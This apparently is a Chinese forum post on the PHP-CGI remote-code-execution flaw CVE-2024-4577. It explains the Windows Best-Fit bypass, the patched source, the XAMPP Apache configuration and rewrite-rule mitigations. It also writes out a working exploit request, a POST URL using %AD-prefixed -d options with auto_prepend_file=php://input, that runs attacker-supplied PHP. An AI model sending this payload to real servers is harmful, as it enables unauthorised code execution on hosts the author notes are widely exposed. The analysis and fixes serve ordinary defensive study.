qidao123.com技术社区-IT企服评测·应用市场

标题: PHP CGI长途代码执行高危漏洞(CVE-2024-4577)复现与源码分析 [打印本页]

作者: 东湖之滨    时间: 2025-5-5 01:15
标题: PHP CGI长途代码执行高危漏洞(CVE-2024-4577)复现与源码分析
五一假期,偶尔间刷到了这个漏洞,我用shodan钟馗之眼做了资产扫描,发现大量有利用XMAPP的用户,并且攻击成本并不高,危害却很大。
中国工程院院士邬贺铨曾说过:“网络安全永远在路上,那么总是要不断在完善,可以说见招拆招”。漏洞评分达到了惊人的9.8,这篇文章必须写。
漏洞影响力

漏洞成因

Windows的Best-Fit字符编码转换特性导致PHP本来的安全限制被绕过,导致攻击者可以通过特定的字符序列绕过此前CVE-2012-1823的防护,从而导致长途代码执行。
受影响版本

复现

  1. POST的请求方式。
  2. URL: 电脑IP/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
  3. Header:Content-Type 设置为 application/x-www-form-urlencoded
  4. Body:直接传入<?php phpinfo(); ?>即可,不需要form表单提交所谓的name=value
  5. 然后发送请求,部分乱码返回不用管,直接RCE了。
复制代码
漏洞原理分析

绕过原理分析

  1. #[System.Text.Encoding]::UTF8.GetBytes('-') 会将字符 - 转换为它的 UTF-8 字节序列。
  2. #ForEach-Object { '{0:X2}' -f $_ } 将字节序列的每个字节转换为十六进制格式。
  3. [System.Text.Encoding]::UTF8.GetBytes('-') | ForEach-Object { '{0:X2}' -f $_ }
复制代码
  1. 原本的
  2.                 if(*p == '-') {
  3.                         skip_getopt = 1;
  4.                 }
  5. 增加了如下方代码,翻译过来是,我们必须考虑“best fit”映射行为,通过
  6.                 /* On Windows we have to take into account the "best fit" mapping behaviour. */
  7. #ifdef PHP_WIN32
  8.     if (*p >= 0x80) { //检查字符是否为高字节(大于等于 0x80)
  9.         wchar_t wide_buf[1]; //创建一个宽字符数组,用来存放当前字符
  10.         wide_buf[0] = *p; //将字符 *p 存放到 wide_buf[0] 中
  11.         char char_buf[4]; //创建一个多字节字符数组,用来存放转换后的字符
  12.         size_t wide_buf_len = sizeof(wide_buf) / sizeof(wide_buf[0]); //计算宽字符数组的长度(这里只包含一个字符)
  13.         size_t char_buf_len = sizeof(char_buf) / sizeof(char_buf[0]); //计算多字节字符数组的长度(最多 4 个字节)
  14.         // 将宽字符转换为多字节字符,使用 Windows 的 WideCharToMultiByte 函数
  15.         if (WideCharToMultiByte(CP_ACP, 0, wide_buf, wide_buf_len, char_buf, char_buf_len, NULL, NULL) == 0
  16.             || char_buf[0] == '-') { // 如果转换失败或转换后的第一个字符是 '-'
  17.             skip_getopt = 1; // 设置跳过 getopt 选项的标志
  18.         }
  19.     }
  20. #endif
复制代码
RCE攻击链路分析

  1. ScriptAlias /php-cgi/ "C:/xampp/php/"    #任何以 /php-cgi/开头的 URL 请求都会被 Apache 转发到 C:/xampp/php/目录下的文件。
  2. <Directory "C:/xampp/php">               #指定了对 C:/xampp/php/目录的访问控制设置。它包裹了一些Directory内部的指令,用来限制或允许该目录下文件的访问。
  3.     AllowOverride None                   #指定不允许在该目录内使用 .htaccess 文件覆盖全局配置
  4.     Options None                         #禁用了 C:/xampp/php/目录下所有的选项(如目录列表、符号链接等),用于减少安全风险。
  5.     Require all denied                   #默认情况下,C:/xampp/php/目录下的所有文件和资源都拒绝访问
  6.     <Files "php-cgi.exe">                #声明文件php-cgi.exe,准备做另外的权限控制
  7.           Require all granted            #做的是允许php-cgi.exe文件的访问
  8.     </Files>
  9. </Directory>
复制代码
  1. php-cgi.exe -h
  2. Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
  3.        php <file> [args...]
  4.   -a               Run interactively
  5.   -b <address:port>|<port> Bind Path for external FASTCGI Server mode
  6.   -C               Do not chdir to the script's directory
  7.   -c <path>|<file> Look for php.ini file in this directory
  8.   -n               No php.ini file will be used
  9.   -d foo[=bar]     Define INI entry foo with value 'bar'
  10.   -e               Generate extended information for debugger/profiler
  11.   -f <file>        Parse <file>.  Implies `-q'
  12.   -h               This help
  13.   -i               PHP information
  14.   -l               Syntax check only (lint)
  15.   -m               Show compiled in modules
  16.   -q               Quiet-mode.  Suppress HTTP Header output.
  17.   -s               Display colour syntax highlighted source.
  18.   -v               Version number
  19.   -w               Display source with stripped comments and whitespace.
  20.   -z <file>        Load Zend extension <file>.
  21.   -T <count>       Measure execution time of script repeated <count> times.
复制代码
修复方案

  1. RewriteEngine On                         #启用重写
  2. RewriteCond %{QUERY_STRING} ^%ad [NC]    #检查URL参数后面%ad开头的路径,NC表示不区分大小写
  3. RewriteRule .? - [F,L]                   #若任意路径符合上述特征(.?),不对url做修改(-),但是要拒绝访问(F),这是最后一条规则,如果该规则匹配成功,就不会继续处理其他的重写规则(L)
  4. 这个将导致攻击返回403
复制代码
或表明掉:
  1. ScriptAlias /php-cgi/ "C:/xampp/php/"
  2. 这个将导致攻击返回404
复制代码
什么是Windows的Best-Fit字符编码转换

PHP CGI、Mod、PHP-FPM 3种与Web服务器通信的区别

CGI、FastCGI、PHP-FPM本身的区别

漏洞相干链接(鸣谢)


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 qidao123.com技术社区-IT企服评测·应用市场 (https://dis.qidao123.com/) Powered by Discuz! X3.4